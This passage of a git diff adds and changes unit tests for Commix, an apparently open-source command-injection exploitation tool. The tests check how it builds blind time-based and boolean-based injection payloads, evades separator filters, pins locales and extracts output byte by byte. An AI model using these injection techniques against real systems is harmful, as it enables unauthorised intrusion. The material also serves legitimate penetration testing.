test_the_account_name_goes_with_the_home_directory(self): + self.assertNotIn("bob", common.mask_sensitive_data('File "/home/bob/commix/x.py", line 1')) + self.assertNotIn("alice", common.mask_sensitive_data('File "C:\\Users\\alice\\x.py", line 1')) + + def test_the_path_around_it_is_kept(self): + masked = common.mask_sensitive_data('File "/home/bob/commix/src/core/x.py", line 1') + self.assertIn("/commix/src/core/x.py", masked) + + def test_a_short_or_absent_value_is_not_matched(self): + # Masking a one or two character value would blank unrelated text wherever it appeared. + menu.options.auth_cred = "ab" + self.assertEqual("ab cd ab", common.mask_sensitive_data("ab cd ab")) + menu.options.auth_cred = None + self.assertEqual("nothing to mask", common.mask_sensitive_data("nothing to mask")) + + def test_every_value_option_is_a_real_destination(self): + missing = [_ for _ in settings.SENSITIVE_VALUE_OPTIONS if not hasattr(menu.options, _)] + self.assertEqual([], missing) + +class RegexResult(unittest.TestCase): + """ + Reads one named group back, and nothing at all from a pattern that names none - which is how a + caller is stopped from reading a group that moved. + """ + def test_a_named_group_is_read_back(self): + self.assertEqual("7", common.extract_regex_result(r"a(?P<result>\d)c", "xa7cz")) + + def test_a_pattern_without_the_name_answers_nothing(self): + self.assertIsNone(common.extract_regex_result(r"a(\d)c", "xa7cz")) + + def test_no_match_and_no_input_answer_nothing(self): + self.assertIsNone(common.extract_regex_result(r"(?P<result>zzz)", "xa7cz")) + self.assertIsNone(common.extract_regex_result(r"(?P<result>a)", "")) + self.assertIsNone(common.extract_regex_result("", "abc")) + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_grammars.py b/tests/test_grammars.py index b8337c9f70..707f290b3e 100644 --- a/tests/test_grammars.py +++ b/tests/test_grammars.py @@ -18,7 +18,6 @@ import importlib import unittest -from src.utils import settings # What every evaluated language has to say about itself for the techniques to speak it. REQUIRED = ("NAME", "LABEL", "TERMINATOR", "PROBE", "PROBE_REGEX", diff --git a/tests/test_parameters.py b/tests/test_parameters.py new file mode 100644 index 0000000000..d30d567849 --- /dev/null +++ b/tests/test_parameters.py @@ -0,0 +1,104 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +""" +How a parameter is read out of a request and put back with the marker in it. Everything here is +string work, done before anything is sent - and getting it wrong moves the injection point rather +than failing outright, which is the kind of mistake a scan reports as 'not injectable'. +""" + +import unittest + +from src.core.requests import parameters +from src.utils import settings + +class UrlParts(unittest.TestCase): + def test_the_query_is_cut_from_the_path(self): + self.assertEqual("http://h/a/b.php", parameters.get_url_part("http://h/a/b.php?x=1&y=2")) + + def test_a_url_without_a_query_is_left_whole(self): + self.assertEqual("http://h/a/b.php", parameters.get_url_part("http://h/a/b.php")) + +class KeyValues(unittest.TestCase): + def test_the_value_is_what_follows_the_first_equals(self): + self.assertEqual("1", parameters.get_kv_value("a=1")) + + def test_a_pair_without_a_value_answers_empty(self): + self.assertEqual("", parameters.get_kv_value("a")) + + def test_an_equals_inside_the_value_is_kept(self): + self.assertEqual("1=2", parameters.get_kv_value("a=1=2")) + +class CdataWrapping(unittest.TestCase): + def test_the_wrapper_comes_off(self): + self.assertEqual("v", parameters.unwrap_cdata("<![CDATA[v]]>")) + + def test_a_bare_value_is_left_alone(self): + self.assertEqual("v", parameters.unwrap_cdata("v")) + +class MarkerPlacement(unittest.TestCase): + def test_the_marker_lands_after_the_value_it_names(self): + tagged = parameters.apply_tag_to_value("a=1&b=2", "1") + self.assertEqual("a=1" + settings.INJECT_TAG + "&b=2", tagged) + + def test_the_other_values_are_untouched(self): + self.assertIn("b=2", parameters.apply_tag_to_value("a=1&b=2", "1")) + +class XmlShields(unittest.TestCase): + """ + The leaves are lifted out so the payload cannot be read as markup, then put back. What matters is + that putting them back returns exactly what was lifted - a drift here corrupts the request body. + """ + def test_a_shielded_document_comes_back_whole(self): + for document in ("<a><b>v</b></a>", + "<a><b>1</b><c>2</c></a>", + "<root><x>a&b</x></root>", + "<a/>"): + shielded, lifted = parameters.shield_xml_leaves(document) + self.assertEqual(document, parameters.restore_xml_shields(shielded, lifted), document) + + def test_the_shielded_form_holds_none_of_the_leaf_text(self): + shielded, lifted = parameters.shield_xml_leaves("<a><b>SECRET</b></a>") + self.assertNotIn("SECRET", shielded) + self.assertTrue(any("SECRET" in _ for _ in lifted)) + +class JsonShapes(unittest.TestCase): + def test_an_empty_object_is_recognised(self): + self.assertTrue(parameters.is_empty_json_object("{}")) + self.assertTrue(parameters.is_empty_json_object(' { } ')) + + def test_an_object_with_a_member_is_not(self): + self.assertFalse(parameters.is_empty_json_object('{"a":1}')) + + def test_json_is_parsed_in_the_order_it_was_written(self): + parsed = parameters.json_format('{"b":1,"a":2}') + self.assertEqual(["b", "a"], list(parsed.keys())) + + def test_something_that_is_not_json_is_refused(self): + # The callers decide what to do about it; answering a half-parse would be worse. + self.assertRaises(Exception, parameters.json_format, "a=1&b=2") + +class PostSplitting(unittest.TestCase): + def test_a_form_body_splits_on_the_ampersand(self): + split, original = parameters.split_post_parameters("a=1&b=2") + self.assertEqual(["a=1", "b=2"], split) + self.assertEqual("a=1&b=2", original) + + def test_a_single_pair_stays_one(self): + split, _ = parameters.split_post_parameters("a=1") + self.assertEqual(["a=1"], split) + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_payloads.py b/tests/test_payloads.py index bcacda5556..af9a9de4a6 100644 --- a/tests/test_payloads.py +++ b/tests/test_payloads.py @@ -13,12 +13,14 @@ For more see the file 'readme/COPYING' for copying permission. """ +import os +import subprocess import re import inspect import importlib import unittest -from tests._testutils import SEPARATORS, separators_in +from tests._testutils import SEPARATORS, separators_in, stage as stage_exploitation from src.utils import settings TECHNIQUES = ("results_based.rb_payloads", "time_based.tb_payloads", "file_based.fb_payloads", @@ -187,6 +189,250 @@ def test_no_awk_program_holds_a_space_inside_its_own_quotes(self): for part in programs: self.assertNotIn(" ", part, name + " holds a space inside its quotes") +class ByteSemantics(unittest.TestCase): + """ + An ordinal is read off a raw byte, and a shell in a UTF-8 locale will not decode one on its own - + 'printf' answers 32767 instead of the byte's value, so every character past the first non-ASCII + one is asked for at a position nothing is at. The locale is pinned where the byte is read, and + where it is counted, so the length and the indexing agree on what a position means. + """ + TECHNIQUES = ("time_based/tb_payloads.py", "boolean_based/bb_payloads.py", + "tempfile_based/tfb_payloads.py", "file_based/fb_payloads.py", + "results_based/rb_payloads.py") + + def _sources(self): + root = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + for name in self.TECHNIQUES: + with open(os.path.join(root, "src", "core", "techniques", name)) as handle: + yield name, handle.read() + # Where the read itself lives, now that every technique asks for it through the one helper. + with open(os.path.join(root, "src", "core", "controller", "checks.py")) as handle: + yield "controller/checks.py", handle.read() + + def test_every_ordinal_read_pins_the_locale(self): + from src.core.controller import checks + self.assertIn(settings.BYTE_LOCALE + " printf '%d'", checks.byte_ordinal("${X}")) + + def test_no_technique_reads_an_ordinal_around_the_helper(self): + """ + The pinned locale and the range the answer is brought back into are both the helper's doing, + so a read built anywhere else gets neither. + """ + loose = [] + for name, source in self._sources(): + if name.endswith("checks.py"): + continue + for line in source.splitlines(): + if "printf '%d'" in line: + loose.append(name + ": " + line.strip()[:60]) + self.assertEqual([], loose) + + def test_the_scan_finds_the_reads_at_all(self): + sources = dict(self._sources()) + self.assertEqual(len(self.TECHNIQUES) + 1, len(sources)) + self.assertEqual(1, sum(_.count("printf '%d'") for _ in sources.values())) + # And the techniques do reach it, rather than having quietly stopped reading ordinals. + callers = [_ for _ in self.TECHNIQUES if "byte_ordinal" in sources[_]] + self.assertGreater(len(callers), 2, "only " + str(callers) + " call the helper") + + def test_an_ordinal_comes_back_as_the_byte_whichever_way_printf_signs_it(self): + """ + 'printf' hands a byte over as a plain char, signed on most builds - so bash answers -61 for the + byte dash answers 195 for. Read as it arrives, every question about that byte is asked against + the wrong number and the character is lost, which is what this brings back into range. + """ + from src.core.controller import checks + expression = checks.byte_ordinal("${X}") + span = settings.HIGHEST_BYTE + 1 + self.assertIn("+ " + str(span) + " ) % " + str(span), expression) + for byte in range(span): + for answered in (byte, byte - span if byte > 127 else byte): + self.assertEqual(byte, (answered + span) % span, + "byte " + str(byte) + " answered as " + str(answered)) + + def test_a_shell_reads_a_high_byte_as_itself(self): + """ + The table above is the arithmetic; this is the shells it has to hold on, bash among them - + a shell whose 'printf' is unsigned agrees either way and would not notice the difference. + """ + from src.core.controller import checks + shells = [_ for _ in ("/bin/sh", "/bin/bash", "/bin/dash") if os.path.exists(_)] + if not shells: + self.skipTest("needs a POSIX shell") + environment = {"LC_ALL": "C", "PATH": os.environ.get("PATH", "/bin:/usr/bin")} + for octal, byte in (("\\303", 195), ("\\251", 169), ("\\101", 65), ("\\177", 127)): + expression = checks.byte_ordinal("$(printf '" + octal + "')") + for shell in shells: + answer = subprocess.check_output([shell, "-c", "printf '%s' \"" + expression + "\""], + env=environment).decode().strip() + self.assertEqual(str(byte), answer, shell + " read byte " + str(byte) + " as " + answer) + + def test_the_piped_ordinal_parts_nothing_of_its_own(self): + """ + Under a pipe the byte used to be read with a second statement after it, parted by a newline - + an operator the payload is not proving, carried inside the substitution where it still counts. + Counting the byte instead needs no second statement, and no sign either. + """ + from src.core.techniques.time_based import tb_payloads + settings.TARGET_OS = settings.OS.UNIX + settings.WHITESPACES = [settings.SINGLE_WHITESPACE] + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = "$(", ")" + settings.TIME_RELATED_ATTACK = True + settings.CHECKING_PARAMETER = "P" + settings.EXPLOITATION_PHASE = True + for separator in ("|", "||"): + settings.CONFIRMED_BOUNDARY = {"P": ("", "", separator, settings.SINGLE_WHITESPACE)} + payload = tb_payloads.get_char(separator, "id", 2, 126, 5, "GET") + self.assertTrue(payload, "no payload under " + repr(separator)) + used = set(payload) & set(";&|\n\r") + self.assertEqual(set(separator), used, "under " + repr(separator) + " it also uses " + str(sorted(used))) + self.assertIn("-t u1", payload) + + def test_the_file_is_transformed_through_an_unsigned_reading(self): + """ + The output file is rewritten as one number per byte, and those numbers are what the search then + reads - digits and spaces, so a byte of any value is asked for out of the printable pool alone + and the pool never has to widen. Signed, 'od' answers -61 where the byte is 195, which both puts + a character outside that pool and spends the sign on nothing. + """ + root = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + with open(os.path.join(root, "src", "core", "techniques", "tempfile_based", "tfb_payloads.py")) as handle: + source = handle.read() + self.assertGreater(source.count("-t u1"), 3, "the transform is not where it was") + self.assertNotIn("-t d1", source) + + def test_the_locale_is_pinned_where_the_shell_does_the_counting(self): + """ + A character-counting shell answers a length the byte beside it is not indexed by, so the measurement pins the locale itself. + """ + from src.core.techniques.time_based import tb_payloads + from src.core.techniques.tempfile_based import tfb_payloads + from src.core.techniques.boolean_based import bb_payloads + settings.TARGET_OS = settings.OS.UNIX + settings.WHITESPACES = [settings.SINGLE_WHITESPACE] + settings.TIME_RELATED_ATTACK = True + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = "$(", ")" + settings.CHECKING_PARAMETER = "P" + settings.EXPLOITATION_PHASE = True + for separator in (";", settings.END_LINE.LF): + settings.CONFIRMED_BOUNDARY = {"P": ("", "", separator, settings.SINGLE_WHITESPACE)} + # Every technique that measures a real output, counted the same way and read back the same way. + for payload in (tb_payloads.get_length(separator, "id", 1, 5, "GET"), + tb_payloads.cmd_execution(separator, "id", 1, 5, "GET"), + tb_payloads.get_char(separator, "id", 2, 126, 5, "GET"), + tfb_payloads.cmd_execution(separator, "id", 1, "/tmp/out.txt", 5, "GET"), + bb_payloads.get_length(separator, "id", 1), + bb_payloads.get_char(separator, "id", 2, 126)): + # Chained with the separator under test, so the pin brings in nothing new to filter. + self.assertIn(separator + settings.BYTE_LOCALE_EXPORTED + separator, payload) + used = set(payload) & set(";&|\n\r") + self.assertEqual(set(separator), used, "under " + repr(separator) + " it also uses " + str(sorted(used))) + # Detection measures a marker commix wrote itself, which is ASCII - nothing there can disagree. + self.assertNotIn(settings.BYTE_LOCALE, tb_payloads.decision(separator, "MARKER", 6, 5, "GET")) + self.assertNotIn(settings.BYTE_LOCALE, tfb_payloads.decision(separator, 6, "MARKER", "/tmp/out.txt", 5, "GET")) + # Through backticks the counting is a command of its own, so the fallback pins an exported locale in place of the filler the "&&" needs. + settings.CMD_SUB_PREFIX = settings.CMD_SUB_SUFFIX = settings.BACKTICK_SUBSTITUTION + try: + for separator in ("&", "&&"): + settings.CONFIRMED_BOUNDARY = {"P": ("", "", separator, settings.SINGLE_WHITESPACE)} + self.assertIn(settings.BYTE_LOCALE_EXPORTED, tb_payloads.get_length(separator, "id", 1, 5, "GET")) + self.assertIn(settings.BYTE_LOCALE_EXPORTED, tb_payloads.cmd_execution(separator, "id", 1, 5, "GET")) + self.assertIn(settings.BYTE_LOCALE_EXPORTED, tb_payloads.get_char(separator, "id", 2, 126, 5, "GET")) + self.assertIn(settings.BYTE_LOCALE_EXPORTED, tfb_payloads.cmd_execution(separator, "id", 1, "/tmp/out.txt", 5, "GET")) + # Detection measures an ASCII marker, so neither fallback pins anything there. + self.assertNotIn(settings.BYTE_LOCALE, tb_payloads.decision(separator, "MARKER", 6, 5, "GET")) + # Boolean-based refuses '&' outright rather than reach for a second operator to hold a variable. + self.assertEqual("", bb_payloads.get_length("&", "id", 1)) + finally: + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = settings.NESTING_SUBSTITUTION + + def test_a_windows_payload_is_left_alone(self): + from src.core.techniques.time_based import tb_payloads + was = settings.TARGET_OS + try: + settings.TARGET_OS = settings.OS.WINDOWS + for separator in ("&", "&&"): + payload = tb_payloads.decision(separator, "MARKER", 6, 5, "GET") + self.assertNotIn(settings.BYTE_LOCALE, payload, repr(separator)) + finally: + settings.TARGET_OS = was + + def test_every_awk_measurement_pins_the_locale(self): + # 'length' and 'substr' count characters under gawk in a UTF-8 locale, and bytes under the C + # one - the indexing beside them is bytes either way. + unpinned = [] + for name, source in self._sources(): + for line in source.splitlines(): + if "awk 'BEGIN{" in line and "LC_ALL=C awk 'BEGIN{" not in line: + unpinned.append(name + ": " + line.strip()[:60]) + self.assertEqual([], unpinned) + +class PoolExpansion(unittest.TestCase): + """ + A byte found to sit above the pool is looked for in the rest of the range a byte can be - but only + while the pool is commix's own. A pool the user wrote out is a statement about this output, so a + byte outside it is left unresolved instead of bought with the questions the search would cost. + """ + + def setUp(self): + from src.core.parse import cmdline as menu + self.menu = menu + self.was = menu.options.charset + + def tearDown(self): + self.menu.options.charset = self.was + + def test_commixs_own_pool_is_widened(self): + from src.core.controller import checks + self.menu.options.charset = None + self.assertTrue(checks.char_pool_expands()) + + def test_a_pool_the_user_wrote_out_is_not(self): + from src.core.controller import checks + self.menu.options.charset = "0123456789abcdef" + self.assertFalse(checks.char_pool_expands()) + + def test_that_pool_is_the_one_searched(self): + from src.core.controller import checks + self.menu.options.charset = "0123456789abcdef" + self.assertEqual(sorted(ord(_) for _ in "0123456789abcdef"), sorted(checks.generate_char_pool(2))) + +class CharacterPool(unittest.TestCase): + """ + The pool the ordinal oracles search is printable ASCII, which is what output mostly is. A byte + above it answers yes to every "is it at least N" the halving asks, so the search climbs to the + pool's own last character - and that answer has to be checked rather than taken, or a wrong + character is reported in the shape of a right one. + """ + def test_the_pool_stops_at_printable_ascii(self): + self.assertEqual(126, max(settings.CHAR_POOL_MULTI)) + self.assertEqual(126, max(settings.CHAR_POOL_SINGLE)) + self.assertIn(9, settings.CHAR_POOL_MULTI) + self.assertIn(10, settings.CHAR_POOL_MULTI) + + def test_there_is_a_range_left_to_search_above_it(self): + self.assertGreater(settings.HIGHEST_BYTE, max(settings.CHAR_POOL_MULTI)) + self.assertEqual(255, settings.HIGHEST_BYTE) + + def test_the_boolean_oracle_confirms_before_answering(self): + """ + Its last step used to hand back whatever the halving settled on. A byte above the pool settles + on the pool's top, so the answer needs asking for by name before it is believed. + """ + import inspect + from src.core.techniques.boolean_based import bb_handler + source = inspect.getsource(bb_handler._byte_at) + self.assertIn("_confirmed", source, "the span search answers without confirming") + confirm = inspect.getsource(bb_handler._confirmed) + self.assertIn("-eq", confirm) + self.assertIn("HIGHEST_BYTE", confirm, "nothing searches above the pool") + + def test_the_time_based_oracle_checks_the_top_of_the_pool_from_above(self): + import inspect + from src.core.controller import injector + source = inspect.getsource(injector.time_related_injection) + self.assertIn("HIGHEST_BYTE", source, "the pool's top is accepted unchecked") + class ArithmeticConditions(unittest.TestCase): """ A 'test' comparison, rewritten as arithmetic so the delay can be scaled by it instead of branching @@ -211,6 +457,45 @@ def test_the_condition_payloads_use_it(self): self.assertIn("1==1", payload) self.assertNotIn("[ 1 -eq 1 ]", payload) +class WindowsPayloads(unittest.TestCase): + """ + Nothing here can be run from this machine, so what is pinned is the shape: that a payload is + built on the separators 'cmd.exe' chains with, that none is built on the ones it does not, and + that what comes out carries no POSIX construct the shell it is written for cannot read. + """ + CHAINS = ("&", "&&", "|", "||") + DOES_NOT_CHAIN = (";", settings.END_LINE.LF, "\r\n") + + def setUp(self): + self.was = settings.TARGET_OS + settings.TARGET_OS = settings.OS.WINDOWS + settings.WHITESPACES = [settings.SINGLE_WHITESPACE] + settings.TIME_RELATED_ATTACK = True + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = "$(", ")" + + def tearDown(self): + settings.TARGET_OS = self.was + + def test_a_payload_is_built_on_what_cmd_chains_with(self): + from src.core.techniques.time_based import tb_payloads + for separator in self.CHAINS: + payload = tb_payloads.decision(separator, "MARKER", 6, 5, "GET") + self.assertTrue(payload and payload.strip(), "nothing built under " + repr(separator)) + + def test_nothing_is_built_on_what_it_does_not(self): + # A ';' is not a separator to 'cmd.exe', and a payload built on one would read as a single word. + from src.core.techniques.time_based import tb_payloads + for separator in self.DOES_NOT_CHAIN: + payload = tb_payloads.decision(separator, "MARKER", 6, 5, "GET") + self.assertFalse(payload and payload.strip(), "built under " + repr(separator)) + + def test_no_posix_construct_reaches_a_windows_payload(self): + from src.core.techniques.time_based import tb_payloads + for separator in self.CHAINS: + payload = tb_payloads.decision(separator, "MARKER", 6, 5, "GET") + for construct in ("$(", "${", "awk ", "sleep ", "/bin/"): + self.assertNotIn(construct, payload, construct + " under " + repr(separator)) + class BackticksFallback(unittest.TestCase): """ The one-command forms nest one substitution inside another, which backticks cannot express - so @@ -218,14 +503,32 @@ class BackticksFallback(unittest.TestCase): """ def test_a_payload_is_still_built_with_backticks(self): from src.core.techniques.time_based import tb_payloads - settings.USE_BACKTICKS = True + settings.CMD_SUB_PREFIX = settings.CMD_SUB_SUFFIX = settings.BACKTICK_SUBSTITUTION try: for separator in ("&", "&&"): payload = tb_payloads.decision(separator, "MARKER", 6, 5, "GET") self.assertTrue(payload.strip(), "no payload under " + repr(separator)) self.assertNotIn("awk", payload, "the nested form was used with backticks") finally: - settings.USE_BACKTICKS = False + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = "$(", ")" + + def test_what_the_rewrites_hand_back_closes_every_backtick_it_opens(self): + """ + A backtick does not nest, so a rewrite that opens one and leaves it open runs the rest of the + payload as the command inside it - and the shell answers nothing rather than erroring. + """ + from src.tamper.obfuscation.posix import rev + from src.tamper.obfuscation.generic import randomcase + settings.CMD_SUB_PREFIX = settings.CMD_SUB_SUFFIX = settings.BACKTICK_SUBSTITUTION + try: + for separator in SEPARATORS: + for script in (rev, randomcase): + payload = stage_exploitation(separator) + tampered = script.tamper(payload) + self.assertEqual(tampered.count("`") % 2, 0, + script.__tamper__ + " left a backtick open under " + repr(separator)) + finally: + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = "$(", ")" class PayloadShape(unittest.TestCase): def setUp(self): @@ -252,3 +555,569 @@ def test_an_interpreter_payload_separates_its_statements_without_a_semicolon(sel if __name__ == "__main__": unittest.main() + +class UnreadableBytes(unittest.TestCase): + """ + Output is read off a page, and a page is read in whatever encoding it declares - so a byte that + encoding cannot represent used to come back as the one replacement character every unreadable + byte shares, which is not the byte the target sent and cannot be turned back into it. + """ + + def _response(self, charset): + class Served(object): + def info(self): + return {"Content-Encoding": "", "Content-Type": "text/html; charset=" + charset} + served = Served() + served.info = lambda: {"Content-Encoding": "", "Content-Type": "text/html; charset=" + charset} + return served + + def test_a_byte_the_page_cannot_read_is_kept(self): + from src.core.controller import checks + read = checks.decode_page_body(b"x\xc3y", self._response("utf-8")) + self.assertNotIn("�", read) + self.assertEqual("x\xc3y", checks.restored_unreadable_bytes(read)) + + def test_a_page_it_can_read_is_left_as_it_is(self): + from src.core.controller import checks + self.assertEqual("caf\xe9", checks.decode_page_body(b"caf\xc3\xa9", self._response("utf-8"))) + + def test_only_a_byte_past_ascii_is_read_back(self): + """ + The escape stands for a byte no encoding could read, and only a byte past ASCII is ever one - + so an escape the output itself printed spells a character the page read perfectly well. + """ + from src.core.controller import checks + self.assertEqual("printed \\x41 here", checks.restored_unreadable_bytes("printed \\x41 here")) + self.assertEqual("x\xc3y", checks.restored_unreadable_bytes("x\\xc3y")) + +# eof + +class MaxlenTruncation(unittest.TestCase): + """ + Landing on the ceiling says the output reaches it, not that it ends there - every length past it + answers the same question the same way. Handed back without a word, a run that read four of ten + characters is indistinguishable from one that read an output four characters long. + """ + + def _handler(self): + from src.core.techniques.boolean_based import bb_handler + return bb_handler + + def test_the_reading_limit_is_no_part_of_the_search(self): + """ + The doubling runs on what is plausible, and the limit is applied to the length it settles on - + so the length reported is the output's own, and how much of it was read is said separately. + """ + import inspect + source = inspect.getsource(self._handler().output_length) + self.assertIn("MAX_INFERRED_LENGTH", source) + self.assertIn("characters long, and this run reads", source) + self.assertIn("INCOMPLETE_OUTPUT", source) + + def test_the_time_related_reading_says_so_too(self): + """ + The limit now belongs to the reading, against a length already known in full - so what is said + is how long the output is and how much of it was read, not that it is longer than some bound. + """ + import inspect + from src.core.controller import injector + source = inspect.getsource(injector.time_related_injection) + self.assertIn("characters long, and this run", source) + self.assertIn("INCOMPLETE_OUTPUT", source) + +# eof + +class ResolvedOrdinal(unittest.TestCase): + """ + The halving is never asked about its own upper bound, so the pool's last character is the one + answer it cannot give: a byte that reaches it settles one below it, and so does every byte past + the pool. Left there, '~' comes back as '}' and a byte of 195 as either. + """ + POOL = [9, 10] + list(range(32, 127)) + + def _asks(self, byte): + self.asked = [] + def asks(candidate): + self.asked.append(candidate) + return candidate <= byte + return asks + + def test_every_byte_resolves_to_itself(self): + from src.core.controller import injector + for byte in (9, 10, 32, 120, 125, 126, 127, 128, 169, 195, 254, 255): + self.assertEqual(byte, injector.resolved_ordinal(self._asks(byte), self.POOL), + "byte " + str(byte)) + + def test_the_pools_last_character_is_asked_about(self): + from src.core.controller import injector + injector.resolved_ordinal(self._asks(126), self.POOL) + self.assertIn(max(self.POOL), self.asked, "the pool's top is never asked about") + + def test_a_pool_the_user_wrote_out_is_not_widened(self): + from src.core.controller import injector + self.assertEqual(max(self.POOL), + injector.resolved_ordinal(self._asks(195), self.POOL, expands=False)) + + def test_nothing_answered_resolves_to_nothing(self): + from src.core.controller import injector + self.assertIsNone(injector.resolved_ordinal(lambda _: False, self.POOL)) + + def test_the_range_past_the_pool_costs_only_the_bytes_that_need_it(self): + from src.core.controller import injector + injector.resolved_ordinal(self._asks(120), self.POOL) + plain = len(self.asked) + injector.resolved_ordinal(self._asks(195), self.POOL) + self.assertLess(plain, len(self.asked)) + self.assertLess(len(self.asked), plain * 3, "a high byte costs more than twice an ASCII one") + +# eof + +class ResolvedLength(unittest.TestCase): + """ + Nothing caps the length search but implausibility. Capped at what the run was willing to read, it + had an upper bound nothing had answered for - an output exactly that long settled one character + short of itself, and one longer settled there too rather than being known to be longer. + """ + + def _asks(self, length): + self.asked = [] + def asks(candidate): + self.asked.append(candidate) + return candidate <= length + return asks + + def test_an_output_is_found_whatever_its_length(self): + from src.core.controller import injector + for length in (1, 2, 3, 4, 5, 8, 9, 100, 255, 10000): + self.assertEqual(length, injector.resolved_length(self._asks(length), 1), + "length " + str(length)) + + def test_nothing_answered_resolves_to_nothing(self): + from src.core.controller import injector + self.assertIsNone(injector.resolved_length(lambda _: False, 1)) + + def test_an_oracle_that_agrees_with_everything_is_disbelieved(self): + """ + Yes all the way up is not a very long output, it is an oracle answering whatever it is asked. + """ + from src.core.controller import injector + self.assertIsNone(injector.resolved_length(lambda _: True, 1, sanity=4096)) + + def test_what_the_run_reads_is_no_part_of_finding_the_length(self): + from src.core.controller import injector + import inspect + source = inspect.getsource(injector.resolved_length) + self.assertNotIn("maxlen", source, "the reading limit is back in the search") + + def test_a_large_length_is_reached_in_fewer_steps_than_doubling_would(self): + """ + The bracket grows by more than two at a time, so a long output is reached in fewer steps - the + reason being a numeric oracle answers a length question in one probe, unlike a character one, + which is why reading the length's digits instead would cost commix more than it saved. + """ + from src.core.controller import injector + was = settings.LENGTH_SEARCH_BASE + try: + settings.LENGTH_SEARCH_BASE = 2 + injector.resolved_length(self._asks(100000), 1) + doubling = len(self.asked) + settings.LENGTH_SEARCH_BASE = 4 + injector.resolved_length(self._asks(100000), 1) + self.assertLess(len(self.asked), doubling, "the wider bracket saved nothing") + finally: + settings.LENGTH_SEARCH_BASE = was + + def test_the_cost_stays_logarithmic(self): + from src.core.controller import injector + injector.resolved_length(self._asks(10000), 1) + # Doubling to bracket it, then halving back: about twice the bits of the answer. + self.assertLess(len(self.asked), 40, "asked " + str(len(self.asked)) + " times") + +class BooleanThroughAPipe(unittest.TestCase): + """ + A pipe carries a boolean answer either way one can be read, and neither way needs a second + operator. Off the exit status, by leaving the pipeline unterminated - the no-operation that would + close it answers 0 whatever the test said, which is the whole answer thrown away. Printed, by + printing the marker through the pipe and taking it from the byte the comparison picks, since + there is no ';' to put before an 'if' and '&&' would be a separator of its own. + """ + SEP = "|" + + def _stage(self, printed): + stage_exploitation(self.SEP) + settings.BOOLEAN_PRINTED_STATE = printed + settings.EXPLOITATION_PHASE = True + from src.core.techniques.boolean_based import bb_payloads + return bb_payloads + + def _built(self, payloads): + return (("detect", payloads.condition_check(self.SEP, holds=True)), + ("decision", payloads.decision(self.SEP, "TAG", 3)), + ("length", payloads.get_length(self.SEP, "id", 5)), + ("char", payloads.get_char(self.SEP, "id", 2, 126))) + + def test_a_pipe_is_answered_either_way(self): + for printed in (False, True): + payloads = self._stage(printed) + for name, payload in self._built(payloads): + self.assertTrue(payload, name + " under a pipe, printed=" + str(printed)) + + def test_nothing_but_the_pipe_is_used(self): + for printed in (False, True): + payloads = self._stage(printed) + for name, payload in self._built(payloads): + used = set(payload) & set(";&|\n\r") + self.assertEqual({"|"}, used, name + " printed=" + str(printed) + " uses " + str(sorted(used))) + + def test_the_status_is_not_closed_away(self): + """ + 'terminate_payload' ends a binary separator on a no-operation, whose status is the pipeline's. + """ + payloads = self._stage(False) + for name, payload in self._built(payloads): + self.assertFalse(payload.rstrip().endswith("|" + settings.NO_OPERATION), + name + " ends on the no-operation, discarding the answer") + + def test_the_printed_answer_is_taken_from_the_marker(self): + payloads = self._stage(True) + for name, payload in self._built(payloads): + self.assertIn(settings.BOOLEAN_MARKER, payload, name) + self.assertIn("tail -c +$((", payload, name) + # 'head -c 0' says the same thing and is refused outright by some builds. + self.assertNotIn("head -c $((", payload, name) + + def test_the_byte_is_counted_unsigned(self): + """ + No variable survives a pipe, so the byte is read where it is needed - counted rather than read + as a character, which is the reading that holds on a build whose 'printf' signs it. + """ + for printed in (False, True): + payloads = self._stage(printed) + self.assertIn("od -A n -t u1", payloads.get_char(self.SEP, "id", 2, 126)) + +# eof + +class SubstitutionNesting(unittest.TestCase): + """ + Whether a substitution can hold another one is a property of the substitution itself, so it is + read off it rather than tracked beside it. Tracked, the two were two answers to one question: a + run that set the flag without changing the substitution skipped the nesting form while still + writing '$( )', which nests perfectly well. + """ + + def setUp(self): + self.was = (settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX) + + def tearDown(self): + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = self.was + + def test_it_is_read_off_the_substitution_in_use(self): + from src.core.controller import checks + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = "$(", ")" + self.assertTrue(checks.substitution_nests()) + self.assertFalse(checks.using_backticks()) + settings.CMD_SUB_PREFIX = settings.CMD_SUB_SUFFIX = settings.BACKTICK_SUBSTITUTION + self.assertFalse(checks.substitution_nests()) + self.assertTrue(checks.using_backticks()) + + def test_the_branch_follows_the_substitution_and_nothing_else(self): + from src.core.techniques.time_based import tb_payloads + stage_exploitation("&") + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = "$(", ")" + nested = tb_payloads.get_length("&", "id", 1, 5, "GET") + settings.CMD_SUB_PREFIX = settings.CMD_SUB_SUFFIX = settings.BACKTICK_SUBSTITUTION + stage_exploitation("&") + settings.CMD_SUB_PREFIX = settings.CMD_SUB_SUFFIX = settings.BACKTICK_SUBSTITUTION + plain = tb_payloads.get_length("&", "id", 1, 5, "GET") + self.assertNotEqual(nested, plain, "the substitution in use changes nothing") + self.assertIn("$((", nested) + self.assertNotIn("$((", plain) + + def test_no_second_answer_is_kept_anywhere(self): + """ + The flag this replaced could be set on its own, and a caller reading it then disagreed with the + payload actually being written. + """ + root = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + stray = [] + for where, _, names in os.walk(os.path.join(root, "src")): + if "thirdparty" in where.split(os.sep): + continue + for name in names: + if not name.endswith(".py"): + continue + with open(os.path.join(where, name)) as handle: + if 